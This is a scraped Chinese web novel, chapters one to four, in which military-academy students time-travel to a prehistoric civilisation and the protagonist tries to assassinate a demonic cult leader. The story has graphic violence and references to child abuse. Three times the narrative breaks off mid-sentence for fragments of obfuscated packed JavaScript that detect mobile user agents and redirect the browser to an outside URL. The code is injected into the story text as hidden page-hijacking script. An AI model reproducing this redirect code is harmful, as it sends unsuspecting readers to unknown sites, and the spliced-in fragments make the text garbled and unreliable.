《喂！你克制一点啊！》 1. 第一章 【歌雅人类的词汇中，没有“面具”和“赌博”的概念，他们的大脑区域分布中……】 柏堡军校第二科学馆里，尽管是午休时间，馆内仍有不少学生在学习。 悬浮屏幕下方，一个黑发少年正一字一句地看着眼前的文献： 【歌雅人类对于同类外貌的认知，通常浅显地停留在发色，肤色，眸色……】 十几年前，人类得知史前曾经有过同类文明的存在，并且这支文明在经历末世后很可能延续至今。 这支文明被称为歌雅文明。 他们将歌雅文明当成假想敌，怀着恐惧和好奇，甚至在各大学校里添加了一个“歌雅”学科，专以用来研究这个神秘的文明。 沈继上半年转学进这个军校后，也选读了歌雅学科。 柏堡军校在学术研究上的顶尖资源确实无可替代。 尤其是新人类这些年研究出一种先进的仪器，可以利用宇宙弦的撞击来发起时空穿越。 也就是说，新人类很可能穿越回歌雅时代，近距离研究那支文明。 而柏堡军校作为大学第一梯队，一定会参与实验。 “沈继，马上就要考核了，你怎么还在看这些。” 一只手正准备拍上他肩膀，被沈继用笔挡住了：“怎么了？” 蓝发帅哥收回手，一脸无语：“还怎么了？马上就要进行歌雅穿越实验了，现在每个人都在准备审核条件，你倒好，不是睡觉就是天天看这些文献。” 沈继将笔悬空在资料前，做了一段记号：“审核条件只是给大家一个公平竞争的假象罢了，名额一定早就内定好了。” 雷伊掐住他脖子，从喉咙里发出嫉妒的声音：“是的，是的，你只要坐在这里，导师就会想尽办法把名额送到你手里，该死的让人嫉妒的天分啊。” “雷伊，犯病就去打狂犬疫苗。” 闹剧结束，两人走出科技馆走廊的时候，沈继滑过成像上的人物画像。 这里是新人类模拟歌雅历史人物画像的走廊，只要点开名字，就能看到模拟的人物成像。 尽管已经看了很多次，但每次成像上的模拟图片一出来，还是引起了周围人不少惊叹。 成像上，一个白发的年轻男人，散发着雄性魅力的漂亮，身形高而劲健，人类的目光一对上那双震撼人心的眼睛，就移不开。 这是根据考古学家的成果结合光脑模拟出来的人像，至少有八分相似。 旁边的一个学生道：“是沙星组织的领袖——圣路。” “在史前被称为恶魔的人物，不过，在我们学校，还有很多是他的粉丝呢。” 是的，没错，一个史前“死了十万年”的人物，居然在新人类世纪的年轻群体中掀起了不小的热·潮。 因为圣路的人生起伏跌宕，容貌又极有故事性，颇有一种让人又爱又怜的美强惨既视感。 最重要的是，他是个omega。 他的身型，眼神，还有惊天动地的那些事件，都颠覆了现代人对omega的认知。 “我要是能去歌雅，一定要好好看看这家伙，是不是真的恶魔。”旁边有人道。 “圣路大人，怜爱小民吧。”这是求圣路保佑他考核顺利。 雷伊看着成像上双眼通红的恶魔，向沈继道：“这家伙眼睛真酷啊。” 沈继心道，这家伙其实是异瞳，左眼偏向于石榴红，右眼偏暗沉。 从出生起，圣路就附身在他身上。 来自史前时代被称为恶魔的圣路，末世之时，他的意识作为火种之一被保留在液体球中，延续了十万年。 直到十八年前，倒霉的沈继出生后，成为了他意识的新容器。 圣路的意识就一直隐藏在他身上，小时候在梦里偶尔他还会出来。 但仅限于五岁之前，五岁之后，圣路不再出现在他梦里。 随着逐渐长大，沈继的精神力和生命力已经不足以供养两个灵魂，他每天至少沉睡17个小时以上，并且这种现象越来越严重。 这说明，圣路还在他身上。 而现在，在别无选择的情况下，回到歌雅时代将对方杀死，是改变这一切的唯一机会了。 希望来得及。 ———— 一道紧密的仪器模拟在立体成像上出现，导师站在巨大的成像下： “这次歌雅实验，我们学校很荣幸，有四个名额，选拔的人员需要有强大的精神力，承受力必须超出常人，所以我们确定参加的学生精神力至少在S级中线。” 此话一出，大家纷纷叹气。 “天啊，S级中线！我还以为我有机会呢。” “啊啊，穿越实验，果然不是我们这些家伙能去的。” “好了！”导师紧接着道：“不用抱怨，这次的歌雅实验，别以为是像以前那样，学校可以给你们兜底，可以说这次任务是生死难料，所以，去不了的同学也不用过分伤心。” “如果是这样，那柏堡军校里，第一个有资格能去的人，我们都知道了。”一个学生灵机一动。 众人转头看向沈继，见沈继埋头在桌面上睡着了。 导师已经见怪不怪了。 “这些年是我们帝国和联邦共同合作的关键时期，所以，这次的歌雅实验，联邦的第一军校也派了四名学生参加，个个都是精神力高手，至于具体的任务，到时候会通知。” “现在，叫到名字的同学，到校长室去：沈继，劳埃斯，雷伊，沙墨。” 被叫到名字的几人，在众人艳羡的目光中站起身。 只有沈继还在睡。 “导师，我来叫醒沈继。”劳埃斯十分恶趣味抬起手，就要在沈继头上拍下。 雷伊抢先一步抓住他的手，盯着他：“你要做什么？” 劳埃斯笑了：“帮他清醒一下，在课堂上睡觉，还能得到歌雅的名额，对那些认真的同学来说，是不是太不公平。” 雷伊凑近他：“这话你去跟校长说。” 两个人的精神力在手腕间碰撞着。 眼看两个人剑拔弩张，导师冷道：“行了，你们先去，沈继等会再去。” 几人到了校长室内，校长和副校长坐在会议桌后，同时，室内开启成像模式，对面立体虚拟坐着几位人物。 看制服是第一军校的学生。 校长道：“你们来了，这几个孩子是第一军校的学生代表，这次他们将同你们一起参与歌雅穿越实验。” 两方学生隔着遥远的星际，通过虚拟成像相互介绍完毕。 对方的导师笑道：“柏堡有四个名额，那么还有一位学生呢？” 雷伊几人都不说话，虽然劳埃斯对沈继充满敌意，但也不想在第一军校面前揭自家短。 反而是校长开门见山道：”是还有一位同学，现在大概是还在睡觉。” 此话一出，对面的学生都愣了好一会儿。 他们没听错吗？ 歌雅穿越，可以说是整个星际近些年重中之重的项目，帝国和联邦的领导人都高度重视，能参加这次实验的学生，都是精英中的精英。 现在居然说在睡觉？ 该说柏堡军校是真的不上心，还是故意在挑衅他们第一军校？ 还是说，那个睡觉的家伙是走了后门的？ “那么我们现在是要等那位学生吗？”对面的导师绵里藏针。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401160|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >校长摆摆手：“那倒不用，那孩子一时半会睡不醒，我们先详谈，后面单独告知他就好了。” 第一军校的几个学生面面相觑。 雷伊在心里默默给沈继点了个赞。 一个月后。 柏堡军校的宇宙舰艇带着迁跃引擎弹射进太空，左端是伟大的帝国旗帜，右端是柏堡军校的旗帜。 沈继等人正式前往歌雅星系。 他们将在歌雅星系中一颗小型天体上进行穿越。 在舰艇上，负责此次任务的导师向沈继几人挑明了此行的目的。 “第一，尽量收集歌雅文明在末世之前，所做的各种应对措施和自救方案，包括逃生路线。” “第二，了解歌雅人类的心理，找到歌雅人类的弱点。” “第三，拿到Enigma这个性别的基因。” “第四，尽量削弱第一军校的力量。” 听到最后一句话，学生们都看向导师。 导师道：“不用觉得奇怪，在第一军校那边，他们对我们的敌意只多不少。” 帝国和联邦这些年联手合作，只是因为有了歌雅文明这个未知的威慑，在强大的威胁面前，大家不得不拧成一股绳。 但歌雅说到底还是虚无缥缈的东西，帝国真正的劲敌依然是看得见摸得着的联邦。 联邦当然也是这么想的。 “所以，不仅仅是削弱对方，同时也要提防对方，重要的是必须团队合作，不能内讧。” 导师说完，看了一眼劳埃斯，沙墨和雷伊也纷纷看向劳埃斯，劳埃斯看着沈继，沈继眼皮低垂着，看起来要睡着了。 在舰艇上度过了二十天，终于抵达了歌雅星系的宇宙港。 小组乘坐一艘太空舰弹射进空间站，身后还有一队护卫舰跟随。 到达空间站时，第一军校的小组已经在那里的太空舱酒店入住。 距离时空仪器启动的时间，还有三天。 雷伊把睡着的沈继带进一艘装修稍微温馨点的小型舱房，这就是太空舱酒店的房间。 沈继醒来的时候，觉得自己大概活不过二十岁了，他现在每天沉睡的时间越来越长。 睡到中途的时候，感觉有什么东西在他耳边轻咬着。 一种黏腻温热的呼吸纠缠不休地贴紧他的脸庞和脖子，沈继皱眉，想要避开这惹人烦的东西。 可他睡得太沉了，意识动了，身体没动。 有人说着歌雅的语言，抚他耳边鬓角后那些新长的头发，握住他的肩膀隔着皮肤用力地咬住他的血脉，但语气极致哀求。 是谁？是圣路吗？ 沈继猛然清醒过来。 “圣路……” 整个舱房寂静得可怕，窗外的巨大天体在星河中缓缓转动。 那家伙的意识形态已经十几年没出现在他梦里了。 也许只是单纯的梦。 雷伊的光脑通话请求传来。 “沈继，实验要开始了，快来。” 随后他发了一个定位给他。 之前他们已经在现场模拟过一次实验准备，很快小组成员都到达了地点。 沈继最后一个跳下穿梭舰，对面第一军校的小组探究的目光毫不掩饰地盯在他身上。 大家礼貌地点头，但谁也没有和谁交谈。 直到沈继几人率先走远，讨论的声音响起：“那个劳埃斯，就是柏堡今年最厉害的学生。” “导师说，我们要特别注意沈继。” “那家伙究竟是谁？” “不知道，但他的精神力数值现在还没有对外公布。” “怪不得，上次柏堡的校长故意落我们脸呢。” 2. 第二章 在实验开始前，双方的导师又重复了一些注意事项。 “这次穿越的时间是歌雅时代4212年，地点巨神教堂，你们说不定会在那里遇到教会仪式……” 导师的话说到一半，探测仪发出急促的声音，感受到地下的磁场锐变，四周的环境陡然割裂。 在众人还没有来得及准备的时候，穿越就开始了。 从灵魂传来的滞空感，在一刹那恍惚之后，周围的气流猛然向他压迫而来，心脏一瞬间紧缩。 沈继睁开眼，太过清新的空气让他猛的喘不过气。 头顶上的星空像水墨画一般扭曲，每一颗星星的光芒争先恐后地融进他的眼眸，嘈杂纷乱的声音钻入他耳中。 头晕目眩之中，他发现自己躺在一片草坪上。他的身体不受控制地颤抖，过了许久才得以恢复正常。 他摸了摸自己的躯体和五官，确保没有被时空机落下什么零件。 沙墨和劳埃斯都在他不远处，两个人的脸色发白，就像晕机一样。 沈继站起来：“雷伊！” 河道里噗腾一声钻出个身影，虚弱地举起了手。 几人聚在一起，共同测了一下手上的光脑，一切正常。 同时发现第一军校小组并不在这附近。 沈继走过草坪，望着天空，迈着割裂时空的脚步，一颗粗亮的流星跨过他的头顶。 他们走进一条熙熙攘攘的大道，听见周围的人们争论着什么。 沈继看着史前人们的风情，就跟他爸爸说的一样，歌雅人类身高更高，头型更圆，喜欢留长头发，无论男女，金色灰色的头发十分常见。 因为父亲从小教会了他歌雅的文字，此时此刻，他听到了来往的人们口中的烦恼，来自史前的活生生的烦恼。 这种感觉妙不可言。 劳埃斯抬头，道：“我们的时间错了。” 众人循着他的目光看向天空。 雷伊：“什么？” 沙墨：“哈……” 沈继抬头，一座高耸入云的教堂，狠狠占据了半个夜空，巨大的红色螺旋通道悬浮盘绕在楼体外，发出猩红的暗光，星空下像一条红色巨蛇盘踞在通天塔上。 这是传说中的巨神教堂——歌雅人类璀璨文明的代表作之一。 狂野与庄重结合的史前巨筑，阴暗与巍峨缠绕的构架冲击，使得沈继的视线难以移开。 孩童吟唱的圣歌从教堂漂流到平坦的河道上，河滩上混合了果酒的香气和洗衣皂的清香。 他们真的回到了歌雅时代。 而钟楼上的时间显示如今是4222年。 “哈！”沙墨惊愕。 雷伊抬手捂头：“该死的啊，这样我们还回得去吗？不会要一辈子困死在这了吧！” 劳埃斯倒是镇定：“看来地点传输没错，只是时间错了，导师那边肯定会想办法，我们只管完成任务就行。” 雷伊在他面前翻了个白眼。 劳埃斯装作看不见。 沙墨手上弹出了一份计划表，上面写满了美食和圣地。 雷伊立刻吹了口哨：“漂了亮了，给我一份。” 就这么闹腾的时候。 教堂外的钟声悠悠响起，教堂下不知何时已经挤满了人群。 雷伊问：“今天是……什么日子？教会吗？” 沙墨背诵课文：“4222年10月3号，巨神教第37届教皇百岁生日，教徒们耗时四年为教皇本人凿刻了巨大的壁像，在今夜进行揭幕仪式。” 沈继走向前：“是的，就是在这一天，巨神教走向衰落的转折……” 他看见教堂前端，教皇站在信徒跪拜的高台上端。 全世界的镜头都在直播这盛大的典礼。 使者高举火把点燃了教堂外壁的幕布，火红的幕布燃起熊熊火焰，向上蹿起。 人们等待着壁画上出现教皇的伟大形象。 然而随着火焰上升，壁画展现于世，全世界的人们睁大了双眼，在教堂底下的信徒也睁大了双眼。 原本应该凿刻着教皇形象的壁画，此刻却是残忍的罪恶画面：杀戮、虐童、滥交，基因实验，挖眼噬心，生吞活剥。 它们镶嵌在神圣的教堂上，栩栩如生，一幅幅画仿佛一支支箭簇射·进教徒们的眼中。 教皇突兀地瞪着壁画上的身影，脸上的肌肉横向抖动。 现场的记者面向摄影机：“今晚巨神教壁画揭幕中出现了重大事故，原本应该是教皇形象的壁画，如大家所见，变成了罪恶之墙。目前还不知道具体原因……但今年来，教皇已经深陷受贿、强·奸、人体实验改造、以及虐童等多项指控风波，不难猜测，这幅罪恶之墙针对的就是教皇本人……” 雷伊弹出光脑内置的录像设备：“看来我们来的是时候。” 把这一段带回去，今年他的学分评估就够了。 “沈继呢？”劳埃斯忽然道。 雷伊回头：“啊？” 叮叮，沈继刚刚所在的位置只剩一个人体虚线框了。 在这骚·乱期间，教堂对面的大楼，在这片高楼的顶层，站在窗口可以看见对面教堂内的情景。 沈继戴着黑色的口罩和帽子，等待着圣路的出现。 突然，人群一声惊呼打断了记者的报道。 “那是恶魔圣路！” 摄影机的画面放大，只见教堂上层的拱形落地窗后，站着一个身影。 缭乱云雾中露出他那标志性的尖耳朵，红眼睛，以及那白色蜷曲的长发，又长又密几乎像树根一样逶迤在地上。 而在他的身后，站着十二位黑色的追随者，全是沙星组织的骨干成员。 “真的是圣路！” 有人尖叫了起来！场面开始混乱。 “是圣路大人！是圣路大人！” “不！是大恶魔。” “对！他是恶魔！” “推翻教皇，圣路大人才是我们的神主！” “你们已经完全被恶魔迷惑了！” 沈继站在窗后，看着这一场历史风暴的变革。 当看见圣路的身影出现在教堂中，他的眉头一皱。 两人之间至少有五百米距离，中间还隔着一片铁丝网和一面斜斜的屋顶，他只能看到一个模糊的上半身。 借助精神感知，沈继将眼前的景象不断放大，视线变得清晰。 可以说，十八年来，他第一次在清醒的状态下看到圣路。 他的身形劲健，穿着黑色的长款西装，一种从骨骼里透出的冷白，浑身散发病态的神经质美感，眼神深邃冷酷，吸引无数人前仆后继。 圣路所站的位置，恰好是壁画上那位被虐杀的幼童的瞳孔中心。 城市的灯光惶惶不安地照耀着，圣路站在幼童惊恐的眼中，承载着全世界的目光。 只有日夜赶赴工程的工匠们知道，他们一凿一斧雕刻出来的就是当今的教皇，而不是什么罪恶之墙。 要知道，为了完成这面旷世壁画，他们用了四年时间才完成。 可为何一夜之间全变了样？当今世上有这样恐怖力量的，只有沙星组织和圣路大人。 “一定是神的恩旨！这是神的旨意！圣路大人才是我们真正的教皇！”一位工匠高呼起来。 越来越多的人也呼和起来。 沈继的双眼盯着教堂中的身影， 36岁的圣路，那是怎样的存在，被称为堪比陨石天降的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401161|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶魔，战力和精神力已达巅峰期，拥有绝无仅有的通感力和强大异能。 他手中的沙星组织，是连歌雅政府都头疼的地步，不可一世的巨神教也只在他挥手间覆灭。 要想在这种情况杀死圣路，沈继也知道自己的机会渺茫。 精神力从他的身体中迅速剥出，仿佛蜘蛛丝一般在风中凌乱的飘荡着。 这种丝线末端能感知到周围的陌生力量。 这附近显然没有任何防御。 圣路垂眸看向底下，他看向了教皇，声音平静带着笑意，却穿透了每个人的胸膛：“这幅壁画就代表教皇的‘功绩’，每一处都戳中了教皇大人的性趣点，让我猜猜，您现在应该兴奋了吧。” 他一开口，世界安静下来，所有人惊愕地看着教皇。 教皇面色煞白，冷笑：“圣路，妄想以世人的罪恶来强加在我头上，歌雅人民绝不会听信恶魔言论。” 教徒们脸色激动：“恶魔！你休想蛊惑人心！教皇大人是神选之人！而你，是恶魔化身而来！” 圣路的眼神失去了唯一的一点耐心，穿透了教皇的心思和意识：“是的，为了不冤枉教皇大人，请允许人们把教皇的裤子脱下来。” 沙星的两个成员直接从教堂上凌空跳下，落到教皇身边。 疯狂的教徒们想要拥护教皇，但已经晚了，那两人落地时，一手一边抓住了教皇华丽的教袍，向两旁一跳一扯，布料被撕开。 在众人惊疑诧异的目光中，教皇臃肿的身躯暴露在神像目光之下。 是什么不堪入目地昂扬着。 与壁画上流泪的儿童形成讽刺的对比。 轰然的一声，什么东西倒塌了，底下的人们失望地叫嚷起来。 一些执迷不悟的教徒还想拯救他们的教皇，这却使得被背叛的人们更加愤怒。 两方的人马混乱，教皇几乎就要被撕成两半。 站在窗栏边缘的沈继，看着眼前这幅墨彩浓重的历史卷轴。 他以精神力聚焦逼近教堂上的恶魔，全神贯注。 现在，沙星组织中，有几位成员也下场了，圣路的身旁最后只有两位忠实的使者，形成一个完美的三角形。 还有机会的。 沈继的精神力由散乱逐渐绷紧，犹如弦上箭，伺机而动。 风吹起恶魔的白色长发，路边的灯光被人们冲撞，闪烁了一下，有人开车撞向了教堂前的神像，这时候，圣路转身坐在教皇纯金的椅子上。 就是现在！ 沈继凝力一放，精神力的光疯速穿破了夜晚的云雾，映着身旁两名使者来不及惊诧的瞳光，划过圣路的耳边。 这明亮的一点光芒截断了他一缕白发，随后击穿了他金椅的靠背。 几缕白色发丝在金灿灿的教堂内乍然散开。 失败了…… 沈继心头一紧。 圣路猛地转过头来看向他——沈继确定他在看着自己，那双冰凉的眼睛血红迸发出兴奋不已的光芒。 隔着五百米，他的视线如同两道闪电穿破了河道上的迷雾和铁丝网，准确击中了自己的眼睛。 沈继怔了一下。他确定对方没有用精神感知，而是单纯以肉眼精准捕捉到了自己。 教堂上的恶魔，在兴奋过后，嘴唇颤抖着，他显出一种被背叛的伤心：“真的要杀我吗？宝贝……” 随即他露出一个病态贪婪的笑容。 这笑连同飘扬落下的断发，完全笼罩着沈继的视线。 沈继的精神感知差点破了功，他连忙转身穿过整座大楼，从另一端的窗户一跃而下。 谁家好人隔着五百米外朝人发笑的。 这种纯变态的笑，几乎可以载入史册。 3. 第三章 圣路被暗杀的一瞬间，不仅是沙星成员不可思议，连底下的人们也吃了一惊。 没有人看清楚对方用的是什么武器和手段。 圣路的白发被风吹落，如同上了发条的机器，继而引发了一系列连锁反应。 沈继跳出窗飞速下落，狂风割锯着衣襟，大楼外有凸出的截面平台能让他平稳落地。 在刺杀发生的一瞬间，已经有沙星成员消失在原地，完全是向他奔去的。 “我要撤退方案！”他向光脑发出指令。 【马上计划您的逃跑路线。】 沈继：“……” 一根发着光的右转箭头出现在眼前，光脑示意他往右转。 沈继闪身进了右边的道路，身后一条带刺的钩子堪堪与他的身影相错而过。 这边，雷伊几人还在教堂外的河道边，刚刚见识到活生生的教皇被撕扯斩首的血腥画面，几个少年都有些难以回神，心脏还在疯狂跳动。 “不愧是恶魔的眼睛，一看他的眼睛，不出三秒就会疯的。”雷伊抬头看着教堂，喃喃道。 沙墨点点头：“他……他让人脱下了教皇的裤子。” 那句话还是经过光脑的翻译软件勉强破译出来的。 底下的人们还不愿散去。 劳埃斯冷笑：“你想成为他的信徒。” 雷伊认真思考：“虽然，但我还不能背叛我现在的信仰。” “你现在的信仰？” “当然了，我的信仰就是……”雷伊双手布灵布灵，光脑拉出一个虚拟画像：“睡神大人沈继！” 劳埃斯连一个冷笑都懒得给他了。 “找到你们了，原来你们在这！”一个气喘吁吁的声音响起。 劳埃斯几人回头，见是第一军校的学生，他们似乎已经在周围转了许久，头上都有汗水。 “你们怎么找到我们的？”劳埃斯谨慎道。 “跟着光脑的导航，我们两组之间不是有定位吗？”对方的组长道。 虽然来之前，两个学校还有竞争敌对的意识，但在这异世之间陌生之世，还能遇到同世界的人，那种高兴喜悦是心底由衷而来的。 雷伊兴奋道：“刚刚你们看到圣路了吗？他好像古代的神，哇哇啊。” “太远了，根本看不清楚。” “我还拍到了圣路被刺杀的瞬间！” “真的？！”对面那组长惊讶道。 两帮人走在一起。 沙墨再次弹出了他那份美食攻略，申请好友加入。 对面一脸迷茫。 “……”劳埃斯闭上眼。 “你们的组长呢？”对面突然问。 沙墨：“哈？” 雷伊向劳埃斯道：……这么说来，我们还没选组长呢。” “沈继不是你们组长吗？哦？他又去睡觉了吗？”对面揶揄道。 雷伊耸耸肩：“也许吧。” 他打开光脑，光脑上显示沈继的定位正在以极快的速度变化。 “看起来，他在拼命跑酷。” ———— 一开始，沈继跟着箭头在拥挤的城市中如鱼得水，确实甩开了追来的沙星成员。 然而，他总有一种不好的预感。 直到他进入一条地下通道，辗转登上长长的石梯，忽然发现，他现在穿过的这条红色悠长的路，似乎与教堂外的蟒蛇悬浮通道有些相似。 果然，他在智障光脑的指引下居然进了巨神教堂…… “你带我来这儿？”沈继停下脚步。 【主人，最危险的地方就是最安全的地方啊。】 “……”沈继闭上眼。 说了，智能产品不要模仿人类的大脑啊。 再睁开眼，几个沙星成员已经悄无声息将他包围。 歌雅人类没有面具的概念，所以，他们想要掩人耳目，都是包裹在披风之下。 几人的精神力迅速拉起一片帷幕，将沈继困在其中。 “阁下是第五层的人，还是巨神教死忠？”其中一个男人道。 沈继低着头不说话。 后面的人抬起了手枪对准他。 “等一下，我要看一下他是谁。”另一个成员从袍子底下探出一只钩子，要去钩沈继的口罩。 忽然一串血珠溅起！手腕上血流不止，钩子男瞳孔一震，这才惊觉自己的手腕撞上了一根锋利的丝线，那线刃一直延伸到暗处，找不到来源。 几个人同时睁大眼睛：什么时候？ 刚刚只差一步，这根线就要将钩子男的手腕整齐切下了。 而沈继自始至终还没有动过。 后面的成员扣动扳机，发现整把手枪都被细线缠绕住了，包括他的手指。 其余人凝眸一看，只见通道中寒光闪烁，他们的周围已布满了强韧的丝线，每一根的布置角度都极其巧妙，紧紧地切着他们各处的要害，有的几乎是贴着睫毛。 一股寒意攀上每个人的背脊。 那家伙明明没有动啊。 “这是……精神力丝线。” “等等！你究竟是谁？” 四人中，有两人同时开口。 沈继戴着口罩的脸侧过，眉目陷入阴影。 他走到拿手枪的成员身旁，拿下了那把手枪。 精神力手枪，对于拥有精神力的高手来说，这是最致命的杀器。 新世纪帝国禁止民众使用这类手枪。 不过，在歌雅世界，他是个无名无姓的外来者，有了这把手枪，几乎可以说为所欲为了。 几个沙星成员被禁锢在丝线中，看着他拿走手枪，都以为自己必死无疑了。 然而沈继拿过手枪，从他们身旁走过，径直离开了蟒蛇通道。 从始至终一句话都没有。 沈继走出了教堂，此刻教堂前端还处于一片混乱中，教皇已被斩首，头颅被踩成了烂泥。 人们簇拥高呼着通天塔上的恶魔之名。 沈继隐藏在角落中，转头看了一眼教堂上端。 在人们的欢呼声中，圣路黑色的衣角被狂风吹动，他站在拱形窗前，截断的白发竟然已经完好地生长出来。 忽然，他那双石榴红的眸珠再一次流转，毫无征兆地，又仿佛早有预谋地落到沈继身上。 两人的目光对视，圣路眸中的颜色不断加深，他的瞳孔扩张，亢奋的魔鬼看见了猎物，饥饿的老虎看见了羔羊，他冰白的皮肤微微地发红。 沈继身影往后一闪，投入阴暗的小巷。 这家伙的眼睛能把人推进深渊。 他沿着光怪陆离的街道，摘下口罩呼吸了一会儿，史前时代，歌雅的森林覆盖率高达70%，因此空气十分优质。 现在他该去找雷伊他们了。 沈继跟着雷伊的轨迹，进入闹市区，天上纵横的悬浮轨道偶尔掠过飞行舰的幻影。 一条像带鱼一样五彩斑斓的鸟兽在空气中流动。 两个孩子踩着悬浮滑行板追逐着擦过他身旁，差点撞到他身上。 沈继笑了一下，也许爸爸小时候就是这么长大的。 ———— 教堂这边，几个成员背着失血过多的钩子男回到教堂顶端。 “圣路。” 另外几人身上也都有深浅不一的细伤。 看来，他们为了挣脱沈继的丝线困境费了一番功夫。 圣路垂眸看着狼狈的几人。 所有人的目光低垂着，又以各自的方式谨慎观察着窗边的圣路。 圣路倚在金椅上，面无表情地向钩子男招手：“过来。” 所有人绷紧的心跳放松下来。 那钩子男摘下斗篷的帽子，露出一个少年人的脸庞来，看来只有十七八岁。 他走过去跪在金椅边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401162|168690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，额头虔诚地贴在恶魔的鞋面上，又将自己堪堪折断的手腕贴向恶魔的小腿。 在柔软的精神力光芒下，断掉的筋骨肉眼可见地愈合，皮肤也完好无缺，只剩干涸的血迹凝在皮肤上。 少年抬头看他，从心灵深处焕发出憧憬和崇拜。 沙星的成员们静静地守护着，在他们眼里，座位上的白发男人圣洁如神祇。 在众人散去后，如神祇的圣路大人脸上呈现出诡异的兴奋和战栗。 他的唇如枯竭的蝶翅抖动，垂眸看向脸庞受伤的方向，沈继的精神丝线不仅削断了圣路的几缕头发，同时也划破了他的脸庞。 只是因为自愈能力太强大，伤口几乎不可见，却仍能回味到那股精神丝线带来的灼热。 “终于……”他的手指需抚过伤口，呼吸渐渐急促，瞳孔放大，余下的话语被教堂外的风声覆盖。 ———— 在空中轨道下方，一条阴暗的小道里，气氛阴沉僵持，一行人正在对峙。 “请把录像交给我们。” 劳埃斯冷道：“原来第一军校的学生也爱干这些强盗勾当，看来联邦真是狗改不了吃屎。” “劝你们识时务的好。” “没门！” “我们四个人，你们只有三个人，而且，有一个还受伤了。” 雷伊的肩膀显然被什么东西贯穿而过，血流不止。 对面四人呈扇形，柏堡小组已经被逼到角落，其中一人的精神力化形成锁链，一端滴着血，正是雷伊身上的血。 沙墨一手扶着雷伊，一手盾防，劳埃斯挡在另一边，他的精神力在三人中最强，化出的防御墙覆盖了几人。 雷伊疼的不行，还笑道：“神经，只是做一个任务，你们下死手啊？” “直接动手，现在已经不可能再留活口了。”对面一人道。 劳埃斯冷道：“你们可以杀了他们两个，但我一定会冒死冲出重围，到时候，柏堡军校和国王的怒火，你们第一军校承担的起吗？” 雷伊道：“没错，劳埃斯，你只要冲出去，跟沈继回合，他们就奈何不了你们，到时候，要给我和沙墨报仇。” 沙墨：“？” 第一军校的人笑了起来：“看来你们签协议的时候，没有看清楚，一旦开始歌雅实验，参与者生死自……” 砰！一团血花连着脑浆猛然炸开。 “……负……”说话的人瞪着死不瞑目的双眼扑在地上。 沈继站在后面，手里的精神力手枪还冒着烟。 砰！另一个人倒下了。 “等等！！”对面说道。 砰！ 砰！ 四个身影血肉模糊，横七竖八地躺在地上。 精神力子弹在他们体内炸开，力量消磨后化为乌有。 “你们怎么变成这样了？”沈继放下枪，看了一眼狼狈的几人。 雷伊带着血哭爹喊娘地扑过来：“沈继呀……” 沙墨跌在地上。 劳埃斯在原地站了一会儿，走到尸体旁边，确认都已经死亡后，他摸出了几人身上的证件，翻开他们的手掌。 “果然，根本不是学生，都是训练有素的军人。”劳埃斯向雷伊道：“刚刚的情况，你录下来了吗？” 雷伊打开光脑屏幕，闭上眼得意道：“放心，完全拍下来了，拍的很完全，赖不到我们身上。” 从教皇揭幕仪式开始，他就一直在录像。 沙墨正在给他疗伤，凑过去看了一眼：“雷伊，有人在给你送礼诶。” “什么？”雷伊疑惑低头。 “啊！等等！我什么时候开了直播！？” 此刻，直播画面中，歌雅悬空轨道的下方，露出了雷伊惊恐万分的脸，笑着的沙墨，一脸被蠢到了的劳埃斯，以及后方沈继的侧影。 头上成千上万的弹幕正在飞快飘过。 4. 第四章 “不不，不对啊，我们在歌雅啊，哪来的直播，让我看看弹幕。”雷伊不死心。 【是的，你开了直播。】×3588 开屏雷击。 【联邦还是那么无耻】×3300000 【派军人到歌雅世界暗杀柏堡的学生？他们一开始的目的就是为了这个吗？】 【特意等沈继不在的时候下手，是想逐个击破啊啊啊】 【我觉得他们是想独吞这个研究歌雅的资格。】 【歌雅是宝藏啊！】 【没错，只要把柏堡S级以上的学生都杀了，帝国就没有人能再进入穿越实验，联邦的目的就达成了。】 【真是亡我之心不死。】 【沈继的枪从哪来的？】 【想不到吧，联邦优秀的几个高手就这么水灵灵下线了，完全是自作孽。】 【哈哈哈哈哈】×10000000 “我们现在在歌雅，直播怎么能连接得到现代星网？” 雷伊颤抖着手切断了直播，捂着脑袋不可置信。 就在这时，光脑响起了通话申请。 是他们的导师。 视频一接通，导师严肃道：“你们的情况这边已经知道了，柏堡正在想办法让你们提前回来，现在我长话短说。” “联邦那边狗急跳墙，也许会再次派杀手来，如果宇宙弦还没有关闭，他们随时能派人进入歌雅，到时候敌暗我明。” “现在在那边，你们的第一原则就是保证每个人能平安回来。其他任务暂时可以搁置，我说完了，接下来你们有什么想问的？” 雷伊惨痛问道：“直播里是不是有很多我的死亡凝视角度？” “……是，经常卡在你的双下巴上。” 沈继看见雷伊颤抖着，短暂窒息后，差点昏过去。 看来，这句话比精神力子弹更有冲击力。 